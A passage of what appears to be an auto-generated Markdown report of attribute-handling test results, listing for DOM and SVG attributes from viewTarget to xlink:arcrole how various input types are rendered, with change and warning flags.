(changed)| `\"0\"` |\n| `viewTarget=(integer)`| (changed)| `\"1\"` |\n| `viewTarget=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `viewTarget=(float)`| (changed)| `\"99.99\"` |\n| `viewTarget=(true)`| (initial, warning)| `<null>` |\n| `viewTarget=(false)`| (initial, warning)| `<null>` |\n| `viewTarget=(string 'true')`| (changed)| `\"true\"` |\n| `viewTarget=(string 'false')`| (changed)| `\"false\"` |\n| `viewTarget=(string 'on')`| (changed)| `\"on\"` |\n| `viewTarget=(string 'off')`| (changed)| `\"off\"` |\n| `viewTarget=(symbol)`| (initial, warning)| `<null>` |\n| `viewTarget=(function)`| (initial, warning)| `<null>` |\n| `viewTarget=(null)`| (initial)| `<null>` |\n| `viewTarget=(undefined)`| (initial)| `<null>` |\n\n## `visibility` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `visibility=(string)`| (changed)| `\"a string\"` |\n| `visibility=(empty string)`| (changed)| `<empty string>` |\n| `visibility=(array with string)`| (changed)| `\"string\"` |\n| `visibility=(empty array)`| (changed)| `<empty string>` |\n| `visibility=(object)`| (changed)| `\"result of toString()\"` |\n| `visibility=(numeric string)`| (changed)| `\"42\"` |\n| `visibility=(-1)`| (changed)| `\"-1\"` |\n| `visibility=(0)`| (changed)| `\"0\"` |\n| `visibility=(integer)`| (changed)| `\"1\"` |\n| `visibility=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `visibility=(float)`| (changed)| `\"99.99\"` |\n| `visibility=(true)`| (initial, warning)| `<null>` |\n| `visibility=(false)`| (initial, warning)| `<null>` |\n| `visibility=(string 'true')`| (changed)| `\"true\"` |\n| `visibility=(string 'false')`| (changed)| `\"false\"` |\n| `visibility=(string 'on')`| (changed)| `\"on\"` |\n| `visibility=(string 'off')`| (changed)| `\"off\"` |\n| `visibility=(symbol)`| (initial, warning)| `<null>` |\n| `visibility=(function)`| (initial, warning)| `<null>` |\n| `visibility=(null)`| (initial)| `<null>` |\n| `visibility=(undefined)`| (initial)| `<null>` |\n\n## `visibility` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `visibility=(string)`| (changed)| `\"a string\"` |\n| `visibility=(empty string)`| (changed)| `<empty string>` |\n| `visibility=(array with string)`| (changed)| `\"string\"` |\n| `visibility=(empty array)`| (changed)| `<empty string>` |\n| `visibility=(object)`| (changed)| `\"result of toString()\"` |\n| `visibility=(numeric string)`| (changed)| `\"42\"` |\n| `visibility=(-1)`| (changed)| `\"-1\"` |\n| `visibility=(0)`| (changed)| `\"0\"` |\n| `visibility=(integer)`| (changed)| `\"1\"` |\n| `visibility=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `visibility=(float)`| (changed)| `\"99.99\"` |\n| `visibility=(true)`| (initial, warning)| `<null>` |\n| `visibility=(false)`| (initial, warning)| `<null>` |\n| `visibility=(string 'true')`| (changed)| `\"true\"` |\n| `visibility=(string 'false')`| (changed)| `\"false\"` |\n| `visibility=(string 'on')`| (changed)| `\"on\"` |\n| `visibility=(string 'off')`| (changed)| `\"off\"` |\n| `visibility=(symbol)`| (initial, warning)| `<null>` |\n| `visibility=(function)`| (initial, warning)| `<null>` |\n| `visibility=(null)`| (initial)| `<null>` |\n| `visibility=(undefined)`| (initial)| `<null>` |\n\n## `vMathematical` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vMathematical=(string)`| (changed)| `\"a string\"` |\n| `vMathematical=(empty string)`| (changed)| `<empty string>` |\n| `vMathematical=(array with string)`| (changed)| `\"string\"` |\n| `vMathematical=(empty array)`| (changed)| `<empty string>` |\n| `vMathematical=(object)`| (changed)| `\"result of toString()\"` |\n| `vMathematical=(numeric string)`| (changed)| `\"42\"` |\n| `vMathematical=(-1)`| (changed)| `\"-1\"` |\n| `vMathematical=(0)`| (changed)| `\"0\"` |\n| `vMathematical=(integer)`| (changed)| `\"1\"` |\n| `vMathematical=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vMathematical=(float)`| (changed)| `\"99.99\"` |\n| `vMathematical=(true)`| (initial, warning)| `<null>` |\n| `vMathematical=(false)`| (initial, warning)| `<null>` |\n| `vMathematical=(string 'true')`| (changed)| `\"true\"` |\n| `vMathematical=(string 'false')`| (changed)| `\"false\"` |\n| `vMathematical=(string 'on')`| (changed)| `\"on\"` |\n| `vMathematical=(string 'off')`| (changed)| `\"off\"` |\n| `vMathematical=(symbol)`| (initial, warning)| `<null>` |\n| `vMathematical=(function)`| (initial, warning)| `<null>` |\n| `vMathematical=(null)`| (initial)| `<null>` |\n| `vMathematical=(undefined)`| (initial)| `<null>` |\n\n## `vocab` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `vocab=(string)`| (changed)| `\"a string\"` |\n| `vocab=(empty string)`| (changed)| `<empty string>` |\n| `vocab=(array with string)`| (changed)| `\"string\"` |\n| `vocab=(empty array)`| (changed)| `<empty string>` |\n| `vocab=(object)`| (changed)| `\"result of toString()\"` |\n| `vocab=(numeric string)`| (changed)| `\"42\"` |\n| `vocab=(-1)`| (changed)| `\"-1\"` |\n| `vocab=(0)`| (changed)| `\"0\"` |\n| `vocab=(integer)`| (changed)| `\"1\"` |\n| `vocab=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `vocab=(float)`| (changed)| `\"99.99\"` |\n| `vocab=(true)`| (initial, warning)| `<null>` |\n| `vocab=(false)`| (initial, warning)| `<null>` |\n| `vocab=(string 'true')`| (changed)| `\"true\"` |\n| `vocab=(string 'false')`| (changed)| `\"false\"` |\n| `vocab=(string 'on')`| (changed)| `\"on\"` |\n| `vocab=(string 'off')`| (changed)| `\"off\"` |\n| `vocab=(symbol)`| (initial, warning)| `<null>` |\n| `vocab=(function)`| (initial, warning)| `<null>` |\n| `vocab=(null)`| (initial)| `<null>` |\n| `vocab=(undefined)`| (initial)| `<null>` |\n\n## `width` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `width=(string)`| (initial)| `<number: 0>` |\n| `width=(empty string)`| (initial)| `<number: 0>` |\n| `width=(array with string)`| (initial)| `<number: 0>` |\n| `width=(empty array)`| (initial)| `<number: 0>` |\n| `width=(object)`| (initial)| `<number: 0>` |\n| `width=(numeric string)`| (changed)| `<number: 42>` |\n| `width=(-1)`| (initial)| `<number: 0>` |\n| `width=(0)`| (initial)| `<number: 0>` |\n| `width=(integer)`| (changed)| `<number: 1>` |\n| `width=(NaN)`| (initial, warning)| `<number: 0>` |\n| `width=(float)`| (changed)| `<number: 99>` |\n| `width=(true)`| (initial, warning)| `<number: 0>` |\n| `width=(false)`| (initial, warning)| `<number: 0>` |\n| `width=(string 'true')`| (initial)| `<number: 0>` |\n| `width=(string 'false')`| (initial)| `<number: 0>` |\n| `width=(string 'on')`| (initial)| `<number: 0>` |\n| `width=(string 'off')`| (initial)| `<number: 0>` |\n| `width=(symbol)`| (initial, warning)| `<number: 0>` |\n| `width=(function)`| (initial, warning)| `<number: 0>` |\n| `width=(null)`| (initial)| `<number: 0>` |\n| `width=(undefined)`| (initial)| `<number: 0>` |\n\n## `width` (on `<rect>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `width=(string)`| (initial)| `<SVGLength: 0>` |\n| `width=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `width=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `width=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `width=(object)`| (initial)| `<SVGLength: 0>` |\n| `width=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `width=(-1)`| (changed)| `<SVGLength: -1>` |\n| `width=(0)`| (initial)| `<SVGLength: 0>` |\n| `width=(integer)`| (changed)| `<SVGLength: 1>` |\n| `width=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `width=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `width=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `width=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `width=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `width=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `width=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `width=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `width=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `width=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `width=(null)`| (initial)| `<SVGLength: 0>` |\n| `width=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `widths` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `widths=(string)`| (changed)| `\"a string\"` |\n| `widths=(empty string)`| (changed)| `<empty string>` |\n| `widths=(array with string)`| (changed)| `\"string\"` |\n| `widths=(empty array)`| (changed)| `<empty string>` |\n| `widths=(object)`| (changed)| `\"result of toString()\"` |\n| `widths=(numeric string)`| (changed)| `\"42\"` |\n| `widths=(-1)`| (changed)| `\"-1\"` |\n| `widths=(0)`| (changed)| `\"0\"` |\n| `widths=(integer)`| (changed)| `\"1\"` |\n| `widths=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `widths=(float)`| (changed)| `\"99.99\"` |\n| `widths=(true)`| (initial, warning)| `<null>` |\n| `widths=(false)`| (initial, warning)| `<null>` |\n| `widths=(string 'true')`| (changed)| `\"true\"` |\n| `widths=(string 'false')`| (changed)| `\"false\"` |\n| `widths=(string 'on')`| (changed)| `\"on\"` |\n| `widths=(string 'off')`| (changed)| `\"off\"` |\n| `widths=(symbol)`| (initial, warning)| `<null>` |\n| `widths=(function)`| (initial, warning)| `<null>` |\n| `widths=(null)`| (initial)| `<null>` |\n| `widths=(undefined)`| (initial)| `<null>` |\n\n## `wmode` (on `<embed>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `wmode=(string)`| (changed)| `\"a string\"` |\n| `wmode=(empty string)`| (changed)| `<empty string>` |\n| `wmode=(array with string)`| (changed)| `\"string\"` |\n| `wmode=(empty array)`| (changed)| `<empty string>` |\n| `wmode=(object)`| (changed)| `\"result of toString()\"` |\n| `wmode=(numeric string)`| (changed)| `\"42\"` |\n| `wmode=(-1)`| (changed)| `\"-1\"` |\n| `wmode=(0)`| (changed)| `\"0\"` |\n| `wmode=(integer)`| (changed)| `\"1\"` |\n| `wmode=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `wmode=(float)`| (changed)| `\"99.99\"` |\n| `wmode=(true)`| (initial, warning)| `<null>` |\n| `wmode=(false)`| (initial, warning)| `<null>` |\n| `wmode=(string 'true')`| (changed)| `\"true\"` |\n| `wmode=(string 'false')`| (changed)| `\"false\"` |\n| `wmode=(string 'on')`| (changed)| `\"on\"` |\n| `wmode=(string 'off')`| (changed)| `\"off\"` |\n| `wmode=(symbol)`| (initial, warning)| `<null>` |\n| `wmode=(function)`| (initial, warning)| `<null>` |\n| `wmode=(null)`| (initial)| `<null>` |\n| `wmode=(undefined)`| (initial)| `<null>` |\n\n## `word-spacing` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `word-spacing=(string)`| (changed, warning)| `\"a string\"` |\n| `word-spacing=(empty string)`| (changed, warning)| `<empty string>` |\n| `word-spacing=(array with string)`| (changed, warning)| `\"string\"` |\n| `word-spacing=(empty array)`| (changed, warning)| `<empty string>` |\n| `word-spacing=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `word-spacing=(numeric string)`| (changed, warning)| `\"42\"` |\n| `word-spacing=(-1)`| (changed, warning)| `\"-1\"` |\n| `word-spacing=(0)`| (changed, warning)| `\"0\"` |\n| `word-spacing=(integer)`| (changed, warning)| `\"1\"` |\n| `word-spacing=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `word-spacing=(float)`| (changed, warning)| `\"99.99\"` |\n| `word-spacing=(true)`| (initial, warning)| `<null>` |\n| `word-spacing=(false)`| (initial, warning)| `<null>` |\n| `word-spacing=(string 'true')`| (changed, warning)| `\"true\"` |\n| `word-spacing=(string 'false')`| (changed, warning)| `\"false\"` |\n| `word-spacing=(string 'on')`| (changed, warning)| `\"on\"` |\n| `word-spacing=(string 'off')`| (changed, warning)| `\"off\"` |\n| `word-spacing=(symbol)`| (initial, warning)| `<null>` |\n| `word-spacing=(function)`| (initial, warning)| `<null>` |\n| `word-spacing=(null)`| (initial, warning)| `<null>` |\n| `word-spacing=(undefined)`| (initial, warning)| `<null>` |\n\n## `wordSpacing` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `wordSpacing=(string)`| (changed)| `\"a string\"` |\n| `wordSpacing=(empty string)`| (changed)| `<empty string>` |\n| `wordSpacing=(array with string)`| (changed)| `\"string\"` |\n| `wordSpacing=(empty array)`| (changed)| `<empty string>` |\n| `wordSpacing=(object)`| (changed)| `\"result of toString()\"` |\n| `wordSpacing=(numeric string)`| (changed)| `\"42\"` |\n| `wordSpacing=(-1)`| (changed)| `\"-1\"` |\n| `wordSpacing=(0)`| (changed)| `\"0\"` |\n| `wordSpacing=(integer)`| (changed)| `\"1\"` |\n| `wordSpacing=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `wordSpacing=(float)`| (changed)| `\"99.99\"` |\n| `wordSpacing=(true)`| (initial, warning)| `<null>` |\n| `wordSpacing=(false)`| (initial, warning)| `<null>` |\n| `wordSpacing=(string 'true')`| (changed)| `\"true\"` |\n| `wordSpacing=(string 'false')`| (changed)| `\"false\"` |\n| `wordSpacing=(string 'on')`| (changed)| `\"on\"` |\n| `wordSpacing=(string 'off')`| (changed)| `\"off\"` |\n| `wordSpacing=(symbol)`| (initial, warning)| `<null>` |\n| `wordSpacing=(function)`| (initial, warning)| `<null>` |\n| `wordSpacing=(null)`| (initial)| `<null>` |\n| `wordSpacing=(undefined)`| (initial)| `<null>` |\n\n## `wrap` (on `<textarea>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `wrap=(string)`| (changed)| `\"a string\"` |\n| `wrap=(empty string)`| (initial)| `<empty string>` |\n| `wrap=(array with string)`| (changed)| `\"string\"` |\n| `wrap=(empty array)`| (initial)| `<empty string>` |\n| `wrap=(object)`| (changed)| `\"result of toString()\"` |\n| `wrap=(numeric string)`| (changed)| `\"42\"` |\n| `wrap=(-1)`| (changed)| `\"-1\"` |\n| `wrap=(0)`| (changed)| `\"0\"` |\n| `wrap=(integer)`| (changed)| `\"1\"` |\n| `wrap=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `wrap=(float)`| (changed)| `\"99.99\"` |\n| `wrap=(true)`| (initial, warning)| `<empty string>` |\n| `wrap=(false)`| (initial, warning)| `<empty string>` |\n| `wrap=(string 'true')`| (changed)| `\"true\"` |\n| `wrap=(string 'false')`| (changed)| `\"false\"` |\n| `wrap=(string 'on')`| (changed)| `\"on\"` |\n| `wrap=(string 'off')`| (changed)| `\"off\"` |\n| `wrap=(symbol)`| (initial, warning)| `<empty string>` |\n| `wrap=(function)`| (initial, warning)| `<empty string>` |\n| `wrap=(null)`| (initial)| `<empty string>` |\n| `wrap=(undefined)`| (initial)| `<empty string>` |\n\n## `writing-mode` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `writing-mode=(string)`| (changed, warning)| `\"a string\"` |\n| `writing-mode=(empty string)`| (changed, warning)| `<empty string>` |\n| `writing-mode=(array with string)`| (changed, warning)| `\"string\"` |\n| `writing-mode=(empty array)`| (changed, warning)| `<empty string>` |\n| `writing-mode=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `writing-mode=(numeric string)`| (changed, warning)| `\"42\"` |\n| `writing-mode=(-1)`| (changed, warning)| `\"-1\"` |\n| `writing-mode=(0)`| (changed, warning)| `\"0\"` |\n| `writing-mode=(integer)`| (changed, warning)| `\"1\"` |\n| `writing-mode=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `writing-mode=(float)`| (changed, warning)| `\"99.99\"` |\n| `writing-mode=(true)`| (initial, warning)| `<null>` |\n| `writing-mode=(false)`| (initial, warning)| `<null>` |\n| `writing-mode=(string 'true')`| (changed, warning)| `\"true\"` |\n| `writing-mode=(string 'false')`| (changed, warning)| `\"false\"` |\n| `writing-mode=(string 'on')`| (changed, warning)| `\"on\"` |\n| `writing-mode=(string 'off')`| (changed, warning)| `\"off\"` |\n| `writing-mode=(symbol)`| (initial, warning)| `<null>` |\n| `writing-mode=(function)`| (initial, warning)| `<null>` |\n| `writing-mode=(null)`| (initial, warning)| `<null>` |\n| `writing-mode=(undefined)`| (initial, warning)| `<null>` |\n\n## `writingMode` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `writingMode=(string)`| (changed)| `\"a string\"` |\n| `writingMode=(empty string)`| (changed)| `<empty string>` |\n| `writingMode=(array with string)`| (changed)| `\"string\"` |\n| `writingMode=(empty array)`| (changed)| `<empty string>` |\n| `writingMode=(object)`| (changed)| `\"result of toString()\"` |\n| `writingMode=(numeric string)`| (changed)| `\"42\"` |\n| `writingMode=(-1)`| (changed)| `\"-1\"` |\n| `writingMode=(0)`| (changed)| `\"0\"` |\n| `writingMode=(integer)`| (changed)| `\"1\"` |\n| `writingMode=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `writingMode=(float)`| (changed)| `\"99.99\"` |\n| `writingMode=(true)`| (initial, warning)| `<null>` |\n| `writingMode=(false)`| (initial, warning)| `<null>` |\n| `writingMode=(string 'true')`| (changed)| `\"true\"` |\n| `writingMode=(string 'false')`| (changed)| `\"false\"` |\n| `writingMode=(string 'on')`| (changed)| `\"on\"` |\n| `writingMode=(string 'off')`| (changed)| `\"off\"` |\n| `writingMode=(symbol)`| (initial, warning)| `<null>` |\n| `writingMode=(function)`| (initial, warning)| `<null>` |\n| `writingMode=(null)`| (initial)| `<null>` |\n| `writingMode=(undefined)`| (initial)| `<null>` |\n\n## `x` (on `<altGlyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `x=(string)`| (changed)| `\"a string\"` |\n| `x=(empty string)`| (changed)| `<empty string>` |\n| `x=(array with string)`| (changed)| `\"string\"` |\n| `x=(empty array)`| (changed)| `<empty string>` |\n| `x=(object)`| (changed)| `\"result of toString()\"` |\n| `x=(numeric string)`| (changed)| `\"42\"` |\n| `x=(-1)`| (changed)| `\"-1\"` |\n| `x=(0)`| (changed)| `\"0\"` |\n| `x=(integer)`| (changed)| `\"1\"` |\n| `x=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `x=(float)`| (changed)| `\"99.99\"` |\n| `x=(true)`| (initial, warning)| `<null>` |\n| `x=(false)`| (initial, warning)| `<null>` |\n| `x=(string 'true')`| (changed)| `\"true\"` |\n| `x=(string 'false')`| (changed)| `\"false\"` |\n| `x=(string 'on')`| (changed)| `\"on\"` |\n| `x=(string 'off')`| (changed)| `\"off\"` |\n| `x=(symbol)`| (initial, warning)| `<null>` |\n| `x=(function)`| (initial, warning)| `<null>` |\n| `x=(null)`| (initial)| `<null>` |\n| `x=(undefined)`| (initial)| `<null>` |\n\n## `x-height` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `x-height=(string)`| (changed, warning)| `\"a string\"` |\n| `x-height=(empty string)`| (changed, warning)| `<empty string>` |\n| `x-height=(array with string)`| (changed, warning)| `\"string\"` |\n| `x-height=(empty array)`| (changed, warning)| `<empty string>` |\n| `x-height=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `x-height=(numeric string)`| (changed, warning)| `\"42\"` |\n| `x-height=(-1)`| (changed, warning)| `\"-1\"` |\n| `x-height=(0)`| (changed, warning)| `\"0\"` |\n| `x-height=(integer)`| (changed, warning)| `\"1\"` |\n| `x-height=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `x-height=(float)`| (changed, warning)| `\"99.99\"` |\n| `x-height=(true)`| (initial, warning)| `<null>` |\n| `x-height=(false)`| (initial, warning)| `<null>` |\n| `x-height=(string 'true')`| (changed, warning)| `\"true\"` |\n| `x-height=(string 'false')`| (changed, warning)| `\"false\"` |\n| `x-height=(string 'on')`| (changed, warning)| `\"on\"` |\n| `x-height=(string 'off')`| (changed, warning)| `\"off\"` |\n| `x-height=(symbol)`| (initial, warning)| `<null>` |\n| `x-height=(function)`| (initial, warning)| `<null>` |\n| `x-height=(null)`| (initial, warning)| `<null>` |\n| `x-height=(undefined)`| (initial, warning)| `<null>` |\n\n## `x1` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `x1=(string)`| (initial)| `<SVGLength: 0>` |\n| `x1=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `x1=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `x1=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `x1=(object)`| (initial)| `<SVGLength: 0>` |\n| `x1=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `x1=(-1)`| (changed)| `<SVGLength: -1>` |\n| `x1=(0)`| (initial)| `<SVGLength: 0>` |\n| `x1=(integer)`| (changed)| `<SVGLength: 1>` |\n| `x1=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `x1=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `x1=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `x1=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `x1=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `x1=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `x1=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `x1=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `x1=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `x1=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `x1=(null)`| (initial)| `<SVGLength: 0>` |\n| `x1=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `x2` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `x2=(string)`| (initial)| `<SVGLength: 0>` |\n| `x2=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `x2=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `x2=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `x2=(object)`| (initial)| `<SVGLength: 0>` |\n| `x2=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `x2=(-1)`| (changed)| `<SVGLength: -1>` |\n| `x2=(0)`| (initial)| `<SVGLength: 0>` |\n| `x2=(integer)`| (changed)| `<SVGLength: 1>` |\n| `x2=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `x2=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `x2=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `x2=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `x2=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `x2=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `x2=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `x2=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `x2=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `x2=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `x2=(null)`| (initial)| `<SVGLength: 0>` |\n| `x2=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `xChannelSelector` (on `<feDisplacementMap>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xChannelSelector=(string)`| (changed)| `<number: 1>` |\n| `xChannelSelector=(empty string)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(array with string)`| (changed)| `<number: 1>` |\n| `xChannelSelector=(empty array)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(object)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(numeric string)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(-1)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(0)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(integer)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(NaN)`| (initial, warning)| `<number: 4>` |\n| `xChannelSelector=(float)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(true)`| (initial, warning)| `<number: 4>` |\n| `xChannelSelector=(false)`| (initial, warning)| `<number: 4>` |\n| `xChannelSelector=(string 'true')`| (initial)| `<number: 4>` |\n| `xChannelSelector=(string 'false')`| (initial)| `<number: 4>` |\n| `xChannelSelector=(string 'on')`| (initial)| `<number: 4>` |\n| `xChannelSelector=(string 'off')`| (initial)| `<number: 4>` |\n| `xChannelSelector=(symbol)`| (initial, warning)| `<number: 4>` |\n| `xChannelSelector=(function)`| (initial, warning)| `<number: 4>` |\n| `xChannelSelector=(null)`| (initial)| `<number: 4>` |\n| `xChannelSelector=(undefined)`| (initial)| `<number: 4>` |\n\n## `xHeight` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xHeight=(string)`| (changed)| `\"a string\"` |\n| `xHeight=(empty string)`| (changed)| `<empty string>` |\n| `xHeight=(array with string)`| (changed)| `\"string\"` |\n| `xHeight=(empty array)`| (changed)| `<empty string>` |\n| `xHeight=(object)`| (changed)| `\"result of toString()\"` |\n| `xHeight=(numeric string)`| (changed)| `\"42\"` |\n| `xHeight=(-1)`| (changed)| `\"-1\"` |\n| `xHeight=(0)`| (changed)| `\"0\"` |\n| `xHeight=(integer)`| (changed)| `\"1\"` |\n| `xHeight=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xHeight=(float)`| (changed)| `\"99.99\"` |\n| `xHeight=(true)`| (initial, warning)| `<null>` |\n| `xHeight=(false)`| (initial, warning)| `<null>` |\n| `xHeight=(string 'true')`| (changed)| `\"true\"` |\n| `xHeight=(string 'false')`| (changed)| `\"false\"` |\n| `xHeight=(string 'on')`| (changed)| `\"on\"` |\n| `xHeight=(string 'off')`| (changed)| `\"off\"` |\n| `xHeight=(symbol)`| (initial, warning)| `<null>` |\n| `xHeight=(function)`| (initial, warning)| `<null>` |\n| `xHeight=(null)`| (initial)| `<null>` |\n| `xHeight=(undefined)`| (initial)| `<null>` |\n\n## `XLink:Actuate` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `XLink:Actuate=(string)`| (changed, warning)| `\"a string\"` |\n| `XLink:Actuate=(empty string)`| (changed, warning)| `<empty string>` |\n| `XLink:Actuate=(array with string)`| (changed, warning)| `\"string\"` |\n| `XLink:Actuate=(empty array)`| (changed, warning)| `<empty string>` |\n| `XLink:Actuate=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `XLink:Actuate=(numeric string)`| (changed, warning)| `\"42\"` |\n| `XLink:Actuate=(-1)`| (changed, warning)| `\"-1\"` |\n| `XLink:Actuate=(0)`| (changed, warning)| `\"0\"` |\n| `XLink:Actuate=(integer)`| (changed, warning)| `\"1\"` |\n| `XLink:Actuate=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `XLink:Actuate=(float)`| (changed, warning)| `\"99.99\"` |\n| `XLink:Actuate=(true)`| (initial, warning)| `<null>` |\n| `XLink:Actuate=(false)`| (initial, warning)| `<null>` |\n| `XLink:Actuate=(string 'true')`| (changed, warning)| `\"true\"` |\n| `XLink:Actuate=(string 'false')`| (changed, warning)| `\"false\"` |\n| `XLink:Actuate=(string 'on')`| (changed, warning)| `\"on\"` |\n| `XLink:Actuate=(string 'off')`| (changed, warning)| `\"off\"` |\n| `XLink:Actuate=(symbol)`| (initial, warning)| `<null>` |\n| `XLink:Actuate=(function)`| (initial, warning)| `<null>` |\n| `XLink:Actuate=(null)`| (initial, warning)| `<null>` |\n| `XLink:Actuate=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:actuate` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:actuate=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:actuate=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:actuate=(array with string)`| (changed, warning)| `\"string\"` |\n| `xlink:actuate=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:actuate=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:actuate=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:actuate=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:actuate=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:actuate=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:actuate=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:actuate=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:actuate=(true)`| (initial, warning)| `<null>` |\n| `xlink:actuate=(false)`| (initial, warning)| `<null>` |\n| `xlink:actuate=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:actuate=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:actuate=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:actuate=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:actuate=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:actuate=(function)`| (initial, warning)| `<null>` |\n| `xlink:actuate=(null)`| (initial, warning)| `<null>` |\n| `xlink:actuate=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:arcrole` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:arcrole=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:arcrole=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:arcrole=(array with string)`| (changed, warning)| `\"string\"` 